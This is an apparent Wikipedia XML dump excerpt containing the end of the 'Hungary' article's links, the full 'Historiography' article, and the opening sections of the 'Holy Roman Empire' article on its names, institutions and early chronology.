*[http://www.magyarorszag.hu/angol/ Hungarian Government Portal] with comprehensive information
*[http://www.keh.hu/index_en.html Official site of the President of Hungary]
*[http://www.meh.hu/english Official site of the Prime Minister of Hungary]
* [http://www.earth-photography.com/Countries/Hungary Artistic photos of Hungary] (Budapest, Debrecen, Pécs, Szeged, Visegrád cities) – EarthPhotography.com
*{{dmoz|Regional/Europe/Hungary|Hungary}}
*[http://www.visitors.hu/index_en.html Hungary for Visitors] &amp;ndash; Descriptions of the main regions for tourists
*[http://www.demos.hu/Audit Hungary's Strategic Audit 2005] &amp;ndash; Comprehensive analyses of Hungary's past 15 years and current state of development (click the [[Union Jack]] to see the English language version)
* [http://www.mythinglinks.org/euro~east~finno~Hungary.html A short, but valid summary about Hungary in English]
* [http://www.worldwide-tax.com/hungary/indexhungary.asp Hungary economy and business indicators] &amp;mdash; Hugary key Data on Taxes and Income Tax
* [http://www.panoramas.hu/ Panorama photos of Hungary]
* [http://www.flickr.com/groups/hungary Flickr Group: Hungary]

===History===
*[http://www.hungarianhistory.com History of Hungary &amp;ndash; The Corvinus Library]
*[http://cityguide.budapestrooms.com/hungary/history1.htm History of Hungary &amp;ndash; Chronological Survey: 2500 BC &amp;ndash; AD 2004]
*[http://www.hunmagyar.org/hungary/history/index.html Hungarian History] (Turanian Lands, Turanian Peoples)
*[http://www.bh.org.il/V-Exh/hungary/index.html In The Land of Hagar - The Jews of Hungary] &amp;ndash; A Virtual Exhibition

===Culture===
*[http://www.hungarianbookfoundation.hu/Html/Translation_grant.htm Hungarian Book Foundation]
*[http://www.pafi.hu/kiirok/mfordhaz.htm Funds available for translators of Hungarian works - in Hungarian]
*[http://translations.bookfinder.hu/indexa.htm Translation of Hungarian literary works - a database]

{{EU countries}}
{{NATO}}
{{Europe}}
{{Visegrád group}}

[[Category:European Union member states]]
[[Category:Hungary| ]]
[[Category:Republics]]
[[Category:Landlocked countries]]

&lt;!-- The below are interlanguage links. --&gt;

[[af:Hongarye]]
[[als:Ungarn]]
[[ar:مجر]]
[[an:Ongría]]
[[ast:Hungría]]
[[bg:Унгария]]
[[zh-min-nan:Magyar-kok]]
[[be:Вугоршчына]]
[[bs:Mađarska]]
[[br:Hungaria]]
[[ca:Hongria]]
[[cv:Венгри]]
[[cs:Maďarsko]]
[[cy:Hwngari]]
[[da:Ungarn]]
[[de:Ungarn]]
[[et:Ungari]]
[[el:Ουγγαρία]]
[[es:Hungría]]
[[eo:Hungario]]
[[eu:Hungaria]]
[[fa:مجارستان]]
[[fo:Ungarn]]
[[fr:Hongrie]]
[[fy:Hongarije]]
[[ga:An Ungáir]]
[[gd:An Ungair]]
[[gl:Hungría - Magyarország]]
[[ko:헝가리]]
[[ht:Ongri]]
[[hy:Հունգարիա]]
[[hr:Mađarska]]
[[io:Hungaria]]
[[id:Hongaria]]
[[ia:Hungaria]]
[[is:Ungverjaland]]
[[it:Ungheria]]
[[he:הונגריה]]
[[ka:უნგრეთი]]
[[kw:Hungari]]
[[ku:Macaristan]]
[[la:Hungaria]]
[[lv:Ungārija]]
[[lt:Vengrija]]
[[lb:Ungarn]]
[[li:Hongarieë]]
[[hu:Magyarország]]
[[mk:Унгарија]]
[[mr:हंगेरी]]
[[ms:Hungary]]
[[mo:Унгария]]
[[na:Hungary]]
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[[oc:Ongria]]
[[os:Венгри]]
[[pl:Węgry]]
[[pt:Hungria]]
[[ro:Ungaria]]
[[ru:Венгрия]]
[[se:Ungár]]
[[sa:हंगरी]]
[[sq:Hungaria]]
[[sh:Mađarska]]
[[scn:Unghirìa]]
[[simple:Hungary]]
[[sk:Maďarsko]]
[[sl:Madžarska]]
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[[fi:Unkari]]
[[sv:Ungern]]
[[tl:Hungary]]
[[th:ประเทศฮังการี]]
[[tr:Macaristan]]
[[udm:Венгрия]]
[[uk:Угорщина]]
[[yi:אונגארן]]
[[zh:匈牙利]]
[[fiu-vro:Ungari]]</text>
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  </page>
  <page>
    <title>Historiography</title>
    <id>13276</id>
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      <timestamp>2006-03-04T04:38:47Z</timestamp>
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      <minor />
      <text xml:space="preserve">'''Historiography''' is the study of the way history is and has been written. In a broad sense, historiography refers to the [[methodology]] and practices of writing history. In a more specific sense, it can refer to writing ''about'' rather than ''of'' [[history]]. As a meta-level analysis of descriptions of the past, this latter conception can relate to the former in that the analysis usually focuses on the narrative, interpretations, worldview, use of evidence, or method of presentation of other historians. 

The term can also describe a body of historical writing. For example, &quot;medieval historiography during the 1960s&quot; means &quot;medieval history written during the 1960s&quot;. 

== Defining historiography ==

Conal Furay and Michael J. Salevouris define &quot;historiography&quot; as &quot;the study of the way history has been and is written--the history of historical writing... When you study 'historiography' you do not study the events of the past directly, but the changing interpretations of those events in the works of individual historians.&quot; (''The Methods and Skills of History: A Practical Guide'', 1988, p. 223, ISBN 0882959824)

Although questions of method have concerned historians since [[Thucydides]], many trace the modern study of historiography to [[Edward Hallett Carr|E. H. Carr]]'s [[1961]] work ''[[What is History?]]'' (ISBN 0333977017). Carr challenged to the traditional belief that the study of the [[historical method|methods of historical research]] and writing were unimportant.  His work remains in print to this day, and is common to many postgraduate programs of study in both the [[United States]] and in [[Great Britain]].

Historiography is often political in nature. For example, much 1960s historiography focused on the exclusion of the roles of women, minorities, and labor from written histories of the USA. According to these historiographers, historians in the 1930s and 1940s had a bias towards well-connected white males. Many historians from that point onward devoted themselves to what they saw as more accurate representations of the past, casting a light on those who had been previously disregarded as non-noteworthy.

The study of historiography demands a critical approach that goes beyond the mere examination of historical fact.  Historiographical studies consider the source, often by researching the author, his or her position in society, and the type of history being written at the time. 

== Basic issues studied in historiography ==

Some of the common questions of historiography are:

*Who wrote the source (primary or secondary)?
*For primary sources, we look at the person in his or her society, for secondary sources, we consider the theoretical orientation  of the approach for example, [[Marxist]] or [[Annales School]], (&quot;total history&quot;), [[political history]], etc.
*What is the authenticity, authority, bias/interest, and intelligibility of the source?
*What was the view of history when the source was written?
*Was history supposed to provide moral lessons? 
*What or who was the intended audience?
*What sources were privileged or ignored in the narrative?
*By what [[method]] was the evidence compiled?
*In what historical context was the work of history itself written?

Issues engaged in so-called [[critical historiography]] includes topics such as:
*What constitutes an historical &quot;event&quot;? 
*In what modes does a historian write and produce statements of &quot;truth&quot; and &quot;fact&quot;?
*How does the medium (novel, textbook, film, theatre, comic) through which historical information is conveyed influence its meaning?
*What inherent epistemological problems does archive-based history contain?
*How does the historian establish their own objectivity or come to terms with their own subjectivity?
*What is the relation of historical theory to historical practice?
*What is the &quot;goal&quot; of history? 
*What ''is'' history?

==Foundation of Important historical Journals (Selection)==		

*[[1859]] Historische Zeitschrift (Germany)	
*[[1876 ]] Revue Historique (France)	
*[[1895]] American Historical Review (USA)
*[[1914]] Mississippi Valley Historical Review/Journal of American History (Beginning 1964) (USA)	
*[[1916]] [[The Journal of Negro History]]
*[[1929]] Annales. Économies. Sociétés. Civilisations	
*[[1952]] [[Past &amp; present]]: a journal of historical studies (Great Britain)	
	
*[[1953]] Vierteljahrshefte für Zeitgeschichte (Germany)	

*[[1956]] Journal of the Historical Society of Nigeria (Nigeria)	

*[[1960]] Journal of African History (Cambridge)		
*[[1960]] Technology and culture : the international quarterly of the Society for the History of Technology (USA)	
*[[1975]] Geschichte und Gesellschaft. Zeitschrift für historische Sozialwissenschaft (Germany)	
*[[1982]] Subaltern Studies (Oxford University Press)	
*[[1986]] [http://www.stiftung-sozialgeschichte.de/ 1999. Zeitschrift für Sozialgeschichte des 20.und 21. Jahrhunderts], new title since 2003: Sozial.Geschichte. Zeitschrift für historische Analyse des 20. und 21. Jahrhunderts. (Germany)
*[[1990]] [http://www.univie.ac.at/Geschichte/LHOMME/ L’Homme. Zeitschrift für feministische Geschichtswissenschaft] (Austria)	
*[[1990]] [http://www.univie.ac.at/Wirtschaftsgeschichte/OeZG/ Oesterreichische Zeitschrift fuer Geschichtswissenschaften - OeZG]
*[[1993]] [http://www.historische-anthropologie.uni-goettingen.de/ Historische Anthropologie]

== Styles of History-writing ==
*[[Annales School|''Annales'' School]]
*[[Big History]]
*[[Deconstruction]]
*[[Diplomatic history]]
*[[Feminist History]]
*[[Gender History]]
*[[Historical materialism]]
*[[Historiophoty]]
*[[Historiosophy]]
*[[History from below]]
*[[History of ideas]]
*[[Marxist historiography|Marxist analysis]]
*[[Metahistory]]
*[[Microhistory]]
*[[Numismatics]]
*[[Oral history]]
*[[Paleography]]
*[[Political history]]
*[[Postmodernism]]
*[[Prosopography]]
*[[Psychohistory]]
*[[Revisionism]]
*[[Social history]]
*[[Universal History]]
*[[World History]]

== Relevant Literature==
'''Philosophy of history''':
*Frank Ankersmit (ed), ''A New Philosophy of History'', 1995, ISBN 0226021009
*[[E. H. Carr]], ''[[What is History?]]'' 1961, ISBN 039470391X
*[[R.G. Collingwood]], ''The Idea of History'', 1936, ISBN 0192853066
*[[Geoffrey Elton]], ''The Practice of History'', 1969, ISBN 0631229809
*[[Richard J. Evans]] ''In Defence of History'', 1997, ISBN 3579108642
*[[Keith Jenkins]], ''Rethinking History'', 1991, ISBN 0415304431
*[[Arthur Marwick]], ''The Nature of History'', 1970, ISBN 0333109414
*[[John Tosh]], ''The Pursuit of History'', 2002, ISBN 0582772540 
*W.H. Walsh, ''An Introduction to Philosophy of History'', 1951.
*[[Hayden White]], ''The Content of Form: Narrative Discourse and Historical Representation'', 1987, ISBN 0801841151
*[[Tessa Morris-Suzuki]], ''The Past Within Us: Media, Memory, History'', 2005, ISBN 1859845134

'''Broad histories of historical writing''':
*Michael Bentley (ed.), ''Companion to Historiography'', Routledge, 1997, ISBN 0415285577
*Michael Bentley, ''Modern Historiography: An Introduction'', 1999 ISBN 0415202671
*Ernst Breisach, ''Historiography: Ancient, Medieval and Modern'', 1994, ISBN 0226072789
*Peter Burke, ''History and Social Theory'', Polity Press, Oxford, 1992
*Mark T. Gilderhus, ''History and Historiographical Introduction'', 2002, ISBN 0130448249
*Susan Kinnell, ''Historiography: An Annotated Bibliography of Journal Article, Books and Dissertations'', 1987, ISBN 0874361680
*Arnaldo Momigliano, ''The Classical Foundation of Modern Historiography'', 1990, ISBN 0520078705

'''Feminist historiography'''
*[[Gerda Lerner]],  ''The Majority Finds its Past: Placing Women in History'', New York:  Oxford University Press 1979
*Bonnie G. Smith, The gender of history : men, women, and historical practice, Cambridge, Mass. [etc.] : Harvard Univ. Press, 1998
*Mary Spongberg, Writing women's history since the Renaissance , Basingstoke [etc.] : Palgrave Macmillan, 2002 

'''Regional or thematic''':
*John Ernest. ''Liberation Historiography: African American Writers and the Challenge of History, 1794-1861''. Chapel Hill: University of North Carolina Press, 2004
*[[Marc Ferro]], ''Cinema and History'', Wayne State University Press, 1988
*[[Ranajit Guha]], ''Dominance Without Hegemony: History and Power in Colonial India'', Harvard UP 1998
* [[M. Ismail Marcinkowski]], ''Persian Historiography and Geography: Bertold Spuler on Major Works Produced in [[Iran]], the [[Caucasus]], [[Central Asia]], [[India]] and Early [[Ottoman Turkey]], with a foreword by Professor Clifford Edmund Bosworth'', member of the [[British Academy]], Singapore: Pustaka Nasional, 2003, ISBN 9971774887.
*[[Peter Novick]], ''That Noble Dream: The &quot;Objectivity Question&quot; and the American Historical Profession'' 1988, ISBN 0521343283
*[[Roland Oliver]], ''In the Realms of Gold: Pioneering in African History'', University of Wisconsin Press 1997
*Christopher Saunders, ''The making of the South African past : major historians on race and class'', Totowa, N.J. : Barnes &amp; Noble, 1988
* Bonnie G. Smith, ''The Gender of History: Men, Women, and Historical Practice'', Harvard UP 2000

'''Teaching History'''
*James W. Loewen, ''Lies My Teacher Told Me: Everything Your American History Textbook Got Wrong'', Touchstone Books 1996
* David Hackett Fischer, ''Historians' Fallacies: Towards a Logic of Historical Thought'', Harper &amp; Row, 1970.

'''Journals'''
*[http://www.cromohs.unifi.it/index.html Cromohs - cyber review of modern historiography]
*''History and Theory''
*[http://www.cisi.unito.it/stor/home.htm History of Historiography]

== See also ==

* [[Chinese historiography]]
* [[Historiography and nationalism]]
* [[Historiography of science]]
* [[Historical method]]
* [[List of historians]]
* [[List of historians by area of study]]
* [[Philosophy of history]]
* [[Plot]]
* [[Primary source]] - documents, correspondence, diaries
* [[Secondary source]] - interpretations, written history
* [[Tertiary source]] - [[encyclopedia]]s, [[almanac]]s

==External links==
*[http://www.mith2.umd.edu/WomensStudies/Bibliographies/feminist-historiography Feminist historiography 1968-1993 a bibliography]
*[http://www.galilean-library.org/int18.html Philosophy of History] introduced at The Galilean Library 
*[http://www.galilean-library.org/tucker.html Scientific Historiography], explained in an interview with Aviezer Tucker at the Galilean Library
*[http://www.africawithin.com/schomburg/negro_digs.htm The Negro Digs Up His Past (1925)] by [[Arturo Alfonso Schomburg]]
*[http://concepts.essential-facts.com/Historiography_and_Historical_methods.html W Notes and Historiography Bibliography]
*[http://www.history-journals.de/journals/hjg-subject-his.html The History Journals Guide]

[[Category:Historiography|*]]
[[Category:Historiosophy]]

[[ca:Historiografia]]
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[[fr:Histoire de l'histoire]]
[[it:Storiografia]]
[[he:היסטוריוגרפיה]]
[[ka:ისტორიოგრაფია]]
[[hu:Történettudomány]]
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[[zh:史学史]]</text>
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  <page>
    <title>Holy Roman Empire</title>
    <id>13277</id>
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        <username>Petri Krohn</username>
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      <comment>rv &quot;College of Princes and Counts&quot; spam</comment>
      <text xml:space="preserve">{{History of Germany}}
{{History of Austria}}
:''This page is about the Germanic empire. For the ancient empire centred on Rome, see [[Roman Empire]].''
'''The Holy Roman Empire of the German Nation''' ([[German language|German]]: ''Heiliges Römisches Reich Deutscher Nation'' {{Audio|De-Heiliges_Römisches_Reich-pronunciation.ogg|&lt;small&gt;listen&lt;/small&gt;}}, [[Latin language|Latin]] ''Sacrum Romanum Imperium Nationis Germanicae,'' see ''[[#Names and designations of the empire|names and designations of the empire]]'') was a political conglomeration of [[country|land]]s in [[Central Europe]] in the [[Middle Ages]] and the early modern period. Emerging from the [[East Francia|eastern part]] of the [[Frankish Empire]] after its division in the [[Treaty of Verdun]] ([[843]]), it lasted almost a millennium until its dissolution in [[1806]].  By the [[18th century]], it still consisted of the larger part of modern [[Germany]], [[Bohemia]] (now [[Czech Republic]]), [[Austria]], [[Liechtenstein]], [[Slovenia]], [[Belgium]], and [[Luxembourg]], as well as large parts of modern [[Poland]] and small parts of the [[Netherlands]]. Previously, it had included all of the Netherlands and [[Switzerland]], and parts of modern [[France]] and [[Italy]] (see: Maps below). In the 18th century, when the Empire was already in decline, [[Voltaire]] ridiculed its nomenclature by saying that the Holy Roman Empire was &quot;neither Holy, nor Roman, nor an [[Empire]]&quot;.

== Character of the empire ==
[[Image:Balduineum Wahl Heinrich VII.jpg|thumb|right|200px|The [[prince-elector]]s of the Holy Roman Empire. Pen-and-ink miniature from the picture chronicle of Henry VII (Balduineum)]]

The Holy Roman Empire was an institution [[sui generis|unique]] in world history and therefore difficult to grasp. To understand what it was, it might be helpful to assess first what it was not.

* It was never a [[nation state]]. Despite the German ethnicity of most of its rulers and subjects, from the very beginning many ethnicities constituted the Holy Roman Empire. Many of its most important noble families and appointed officials came from outside the German-speaking communities. At the height of the empire it contained most of the territory of today's [[Germany]], [[Austria]], [[Switzerland]], [[Liechtenstein]], [[Belgium]], the [[Netherlands]], [[Luxembourg]], [[Czech Republic]] and [[Slovenia]], as well as eastern [[France]], northern [[Italy]] and western [[Poland]]. Its languages thus comprised not only German and its many [[dialect]]s and derivatives, but many Slavic languages and the languages which became modern French, Dutch and Italian.  Furthermore, its division into territories ruled by numerous secular and ecclesiastical princes, prelates, counts, imperial knights, and free cities made it, in the early modern period at least, far less cohesive than the emerging modern states around it.

* However, during most of its time it was more than a mere [[confederation]]. The concept of the ''[[Reich]]'' not only included the government of a specific territory, but had strong Christian religious connotations (hence the ''holy'' prefix). Until [[1508]], German Kings were not considered Emperors of the ''Reich'' until the [[Pope]] had formally crowned them as such.

The ''Reich'' contained a number of [[Prince-Bishop]]rics and can thus best be described as a cross between a state and a religious confederation.

==Names and designations of the empire==
{{Middle Ages Tall}}
The Holy Roman Empire was an attempt to resurrect the [[Western Roman Empire]] in western Europe, which was established in 800 when Pope Leo III crowned [[Charlemagne]] as Roman Emperor on Christmas Day, though the empire and the imperial office did not become formalized for some decades. Charlemagne went on to adopt the title 'Augustus' from earlier Roman times. 

The name of the Empire, in various languages spoken within its confines:
* [[German language|German]]: ''Heiliges Römisches Reich'' {{Audio|De-Heiliges_Römisches_Reich-pronunciation.ogg|&lt;small&gt;listen&lt;/small&gt;}} (later: ''Heiliges Römisches Reich deutscher Nation'')
* [[Italian language|Italian]]: ''Sacro Romano Impero''
* [[Latin]]: ''Sacrum Romanum Imperium''
* [[Croatian language|Croatian]]: ''Sveto rimsko carstvo njemačkoga naroda''
* [[Czech language|Czech]]: ''Svatá říše římská (later: Svatá říše římská národa německého)''
* [[French language|French]]: ''Saint Empire Romain Germanique''
* [[Polish language|Polish]]: ''Święte Cesarstwo Rzymskie Narodu Niemieckiego''
* [[Dutch language|Dutch]]: ''Heilige Roomse Rijk''
* [[Slovene language|Slovene]]: ''Sveto rimsko cesarstvo'' (or full name ''Sveto rimsko cesarstvo nemške narodnosti'')
* [[Serbian language|Serbian]]: ''Sveto rimsko carstvo nemačke narodnosti''
* [[Hungarian language|Hungarian]]: ''Német-Római Császárság''
* [[Icelandic language|Icelandic]]: ''Heilaga rómverska keisaraveldið''

Contemporary terminology for the Empire varied greatly over the centuries. The term ''Roman Empire'' was used in [[1034]] to denote the lands under [[Conrad II of the Holy Roman Empire|Conrad II]], and ''Holy Empire'' in [[1157]]. The use of the term ''Roman Emperor'' to refer to [[Northern Europe]]an rulers started earlier with [[Otto II]] (Emperor 973&amp;ndash;983). Emperors from [[Charlemagne]] (c. 742 or 747 &amp;ndash; 814) to [[Otto I the Great]] (Emperor 962&amp;ndash;973) had simply used the phrase ''[[Imperator]] Augustus'' (&quot;August Emperor&quot;). The precise term ''Holy Roman Empire'' dates from [[1254]]; the final version ''Holy Roman Empire of the German Nation'' ([[German language|German]] ''Heiliges Römisches Reich Deutscher Nation'') appears in [[1512]], after several variations in the late [[15th century]].

Contemporaries did not quite know how to describe this entity either. In his famous [[1667]] description ''De statu imperii Germanici'', published under the alias Severinus de Monzambano, [[Samuel Pufendorf]] wrote: ''&quot;Nihil ergo aliud restat, quam ut dicamus Germaniam esse irregulare aliquod corpus et monstro simile ...&quot;'' (&quot;We are therefore left with calling Germany a body that conforms to no rule and resembles a monster&quot;). [[Voltaire]] later described it as &quot;neither Holy, nor Roman, nor an Empire&quot;.

In ''[[Faust]] I,'' in a scene written in [[1775]], the German author [[Johann Wolfgang von Goethe| Goethe]] has one of the drinkers in Auerbach's Cellar in [[Leipzig]] ask &quot;Our Holy Roman Empire, lads, what still holds it together?&quot; Goethe also has a longer, not very favourable essay about his personal experiences as a trainee at the ''[[Reichskammergericht]]'' in his autobiographical work ''[[Dichtung und Wahrheit]]''.

== Structure and institutions ==
From the [[High Middle Ages]] onwards, the ''[[Reich]]'' was stamped by a most peculiar coexistence of the Empire with the struggle of the [[duke]]s of the local territories to take [[power (sociology)|power]] away from it. As opposed to the rulers of the [[West]] [[Frankish]] lands, which later became [[France]], the Emperor never managed to gain much control over the lands that he formally owned. Instead, the Emperor was forced to grant more and more powers to the individual dukes in their respective territories. This process began in the [[12th century]] and was more or less concluded with the [[1648]] [[Peace of Westphalia]]. Several attempts were made to reverse this degradation of the ''Reich's'' former glory, but failed.

Formally, the ''Reich'' comprised the King, to be crowned Emperor by the pope (until 1508), on one side, and the ''Reichsstände'' (imperial estates) on the other.

===King of the Romans (German king)===
[[Image:Holy Roman Empire crown dsc02909.jpg|thumb|200px|The crown of the Holy Roman Empire (2nd half of the 10th century), now held in the [[Vienna]] [[Schatzkammer]].]]

The pope's crowning of [[Charlemagne]] as [[Augustus]] in [[800]] formed the example that later kings would follow: it was the result of Charlemagne having defended the pope against the rebellious inhabitants of [[Rome]], which initiated the notion of the ''Reich'' being the protector of the western [[church]].

Becoming Emperor required becoming [[King of the Romans]] (''Rex romanorum''/''römischer König'') first. German kings had been elected since [[time immemorial]]: in the 9th century by the leaders of the five most important tribes: the [[Salic Franks]] of Lorraine, the [[Riparian Franks]] of Franconia, and the [[Saxon people|Saxons]], [[Bavaria]]ns, and [[Swabia]]ns, later by the main lay and clerical dukes of the kingdom, finally only by the so-called [[Prince-elector|''Kurfürsten'']] (electing dukes, electors). This college was formally established by a [[1356]] decree known as the [[Golden Bull]]. Initially, there were seven electors: the [[Count Palatine of the Rhine]], the [[King of Bohemia]], the [[Duke of Saxony]], the [[Margrave of Brandenburg]], and the Archbishops of [[Köln]], [[Mainz]], and [[Trier]]. During the [[Thirty Years War]], the [[Duke of Bavaria]] was given the right to vote as the eighth elector. In order to be elected king, a candidate had to first win over the electors, usually with bribes or promises of land.

Until [[1508]], the newly-elected king then travelled to Rome to be crowned Emperor by the Pope. In many cases, this took several years while the King was held up by other tasks: frequently he first had to resolve conflicts in rebellious northern Italy or was in quarrel with the Pope himself.

At no time could the Emperor simply issue decrees and govern autonomously over the Empire. His power was severely restricted by the various local leaders: after the late [[15th century]], the [[Reichstag (institution)|''Reichstag'']] established itself as the legislative body of the Empire, a complicated assembly that convened irregularly at the request of the Emperor at varying locations. Only after [[1663]] would the ''Reichstag'' become a permanent assembly.

===Imperial estates===
An entity was considered ''Reichsstand'' (imperial estate) if, according to [[feudal law]], it had no authority above it except the Holy Roman Emperor himself. They included:

* Territories governed by a prince or duke, and in some cases kings. (Rulers of the Holy Roman Empire, with the exception of the King of Bohemia (an elector), were not allowed to become King within the Empire, but some had kingdoms outside the Empire, as was, for instance, the case in the [[Kingdom of Great Britain]], where the ruler was also the [[Prince-elector]] of [[Hanover (state)|Hanover]].)
* feudal territories led by a clerical dignitary, who was then considered a [[prince of the church]]. In the common case of a [[Prince-Bishop]], this temporal territory (called prince-bishopric) frequently overlapped his -often larger- [[ecclesiastical]] diocese ([[bishopric]]), giving the Bishop both worldly and clerical powers. An example, among many others, was the [[Bishopric of Osnabrück]]. The most prominent Prince-Bishop (''Fürstbischof'') within the Holy Roman Empire were the three Archbishops who were generally styled after the worldy rank of [[Prince-elector]], and their prince-archbishoprics rather electorates: Cologne (his large temporal estates did not include his cathedral city, so Bonn became his princely residence), Trier and the [[Archbishop of Mainz]] with his [[episcopal see|see]] at [[Mainz Cathedral]].
* [[Imperial Free Cities]]

The number of territories was amazingly large, rising to several hundred at the time of the [[Peace of Westphalia]]. Many of these comprised no more than a few square miles, so the Empire is aptly described as a &quot;patchwork carpet&quot; (''Flickenteppich'') by many- see [[Kleinstaaterei]]. For a list as in 1792, see [[List of Reichstag participants (1792)]].

===Reichstag===
The Reichstag was the legislative body of the Holy Roman Empire. It was divided into three distinct classes:
* The [[Council of Electors]], which included the [[Electors of the Holy Roman Empire]].
* The [[Council of Princes]], which included both laypersons and clerics.
** The Secular Bench: Princes (those with the title of [[Prince]], [[Grand Duke]], [[Duke]], [[Count Palatine]], [[Margrave]], or [[Landgrave]]) held individual votes; some held more than one vote on the basis of ruling several territories. Also, the Council included [[Count]]s or [[Graf]]s, who were grouped into four Colleges: [[Wetterau]], [[Swabia]], [[Franconia]], and [[Westphalia]]. Each College could cast one vote as a whole.
** The Ecclesiastical Bench: Bishops, certain Abbots, and the two Grand Masters of the [[Teutonic Order]] and the [[Knights Hospitaller|Order of St John]] had individual votes. Certain other Abbots were grouped into two Colleges: Swabia and the Rhine. Each College held one collective vote.
* The [[Council of Imperial Cities]], which included representatives from Imperial Cities grouped into two Colleges: Swabia and the Rhine. Each College had one collective vote. The Council of Imperial Cities was not fully equal to the others; it could not vote on several matters such as the admission of new territories.

===Imperial courts===
The ''Reich'' also had two courts: the ''Reichshofrat'' (also known in English as the [[Aulic Council]]) at the court of the King/Emperor (that is, later in [[Vienna]]), and the [[Imperial Chamber Court|''Reichskammergericht'' (Imperial Chamber Court)]], established with the [[Imperial Reform]] of [[1495]].

===Imperial circles===
As part of the ''[[Reichsreform]]'', ten [[Imperial Circle]]s were established in [[1512]].  These were regional groupings of most (though not all) of the various states of the Empire for the purposes of defence and imperial taxation.  Each circle had its own ''Kreisrat'' (&quot;Circle Diet&quot;).

== Chronology ==

=== From the East Franks to the Investiture Controversy ===
[[Image:Western empire verdun 843.png|thumb|400px|right|The Western Empire, as divided at [[Treaty of Verdun|Verdun]], [[843]].  From the 'Atlas to Freeman's Historical Geography', edited by J.B. Bury, Longmans Green and Co. Third Edition 1903.]]

The Holy Roman Empire is usually considered to have been founded at the latest in [[962]] by [[Otto I the Great]].

Although some date the beginning of the Holy Roman Empire from the coronation of [[Charlemagne]] as Emperor of the Romans in [[800]], Charlemagne himself more typically used the title king of the [[Franks]]. This title also makes clearer that the Frankish Kingdom covered an area that included modern-day [[France]] and [[Germany]] and was thus the kernel of both countries.

Most historians therefore consider the establishment of the Empire to be a process that started with the split of the Frankish realm in the [[Treaty of Verdun]] in [[843]], continuing the [[Carolingian]] dynasty independently in all three sections. The eastern part fell to [[Louis the German]], who was followed by several leaders until the death of [[Louis the Child]], the last Carolingian in the eastern part.

The leaders of Alamannia, Bavaria, Frankia and Saxonia elected [[Conrad of Franconia|Conrad I]] of the Franks, not a Carolingian, as their leader in [[911]]. His successor, [[Henry the Fowler|Henry (Heinrich) I the Fowler]] (r. 919&amp;ndash;936), a Saxon elected at the Reichstag of [[Fritzlar]] in 919, achieved the acceptance of a separate Eastern Empire by the [[West Franks|West Frankish]] (still ruled by the Carolingians) in 921, calling himself ''rex Francorum orientalum'' (King of the East Franks). He founded the [[Ottonian]] dynasty.

Heinrich designated his son Otto to be his successor, who was elected King in [[Aachen]] in [[936]]. His later crowning as Emperor [[Otto I the Great|Otto I]] (later called &quot;the Great&quot;) in [[962]] would mark an important step, since from then on the Empire &amp;ndash; and not the West-Frankish kingdom that was the other remainder of the Frankish kingdoms &amp;ndash; would have the blessing of the Pope. Otto had gained much of his power earlier, when, in [[955]], the [[Magyars]] were defeated in the [[Battle of Lechfeld]].

In contemporary and later writings, the crowning would be referred to as ''[[translatio imperii]]'', the transfer of the Empire from the Romans to a new Empire. The German Emperors thus thought of themselves as being in direct succession of those of the Roman Empire; this is why they initially called themselves ''Augustus.'' Still, they did not call themselves &quot;Roman&quot; Emperors at first, probably in order not to provoke conflict with the Roman Emperor who still existed in [[Constantinople]]. The term ''imperator Romanorum'' only became common under [[Conrad II, Holy Roman Emperor|Conrad II]] later.

At this time, the eastern kingdom was not so much &quot;German&quot; as rather a &quot;confederation&quot; of the old Germanic tribes of the Bavarians, Alamanns, Franks and Saxons. The Empire as a political union probably only survived because of the strong personal influence of King Henry the Saxon and his son, Otto. Although formally elected by the leaders of the Germanic tribes, they were actually able to designate their successors.

This changed after [[Henry II, Holy Roman Emperor|Henry II]] died in [[1024]] without any children. [[Conrad II, Holy Roman Emperor|Conrad II]], first of the [[Salian|Salian Dynasty]], was then elected king in [[1024]] only after some debate. How exactly the king was chosen thus seems to be a complicated conglomeration of personal influence, tribal quarrels, inheritance, and acclamation by those leaders that would eventually become the collegiate of [[prince-elector|Electors]].

Already at this time the dualism between the &quot;territories&quot;, then those of the old tribes rooted in the Frankish lands, and the King/Emperor, became apparent. Each king preferred to spend most time in his own homelands; the Saxons, for example, spent much time in palatinates around the [[Harz]] mountains, among them [[Goslar]]. This practice had only changed under [[Otto III, Holy Roman Emperor|Otto III]] (king 983, Emperor 996&amp;ndash;1002), who began to utilize bishopries all over the Empire as temporary seats of government. Also, his successors, [[Henry II, Holy Roman Emperor|Henry II]], [[Conrad II, Holy Roman Emperor|Conrad II]], and [[Henry III, Holy Roman Emperor|Henry III]], apparently managed to appoint the dukes of the territories. It is thus no coincidence that at this time, the terminology changes and the first occurrences of a ''regnum Teutonicum'' are found.

The glory of the Empire almost collapsed in the [[Investiture Controversy]], in which [[Pope Gregory VII]] declared a ban on King [[Henry IV, Holy Roman Emperor|Henry IV]] (king 1056, Emperor 1084&amp;ndash;1106). Although this was taken back after the [[1077]] [[Walk to Canossa]], the ban had wide-reaching consequences. Meanwhile, the German dukes had elected a second king, [[Rudolf of Swabia]], whom Henry IV could only defeat after a three-year war in [[1080]]. The mythical roots of the Empire were permanently damaged; the German king was humiliated. Most importantly though, the church became an independent player in the political system of the Empire.

=== The Empire under the Hohenstaufen ===
[[Conrad III]] came to the throne in [[1138]], being the first of the [[Hohenstaufen]] dynasty, which was about to restore the glory of the Empire even under the new conditions of the [[1122]] [[Concordat of Worms]]. It was [[Frederick I, Holy Roman Emperor|Frederick I &quot;Barbarossa&quot;]] (king 1152, Emperor 1155&amp;ndash;1190) who first called the Empire &quot;holy&quot;, with which he intended to address mainly law and legislation.

Also, under Barbarossa, the idea of the &quot;Romanness&quot; of the Empire culminated again, which seemed to be an attempt to justify the Emperor's power independently of the (now strengthened) Pope. An imperial assembly at the fields of Roncaglia in [[1158]] explicitly reclaimed imperial rights at the advice of ''quattuor doctores'' of the emerging judicial facility of the University of [[Bologna]], citing phrases such as ''princeps legibus solutus'' (&quot;the leader is not bound by law&quot;) from the ''Digestae'' of the [[Corpus Juris Civilis]]. That the Roman laws were created for an entirely different system and didn't fit the structure of the Empire was obviously secondary; the point here was that the court of the Emperor made an attempt to establish a ''legal'' constitution.

Imperial rights had been referred to as ''regalia'' since the Investiture Controversy, but were enumerated for the first time at Roncaglia as well. This comprehensive list included public roads, tariffs, coining, collecting punitive fees, and the investiture, the seating and unseating of office holders. These rights were now explicitly rooted in Roman Law, a far-reaching constitutional act; north of the Alps, the system was also now connected to [[feudal law]], a change most visible in the withdrawal of the feuds of [[Henry the Lion]] in 1180 which led to his public banning. Barbarossa thus managed for a time to more closely bind the stubborn Germanic dukes to the Empire as a whole.

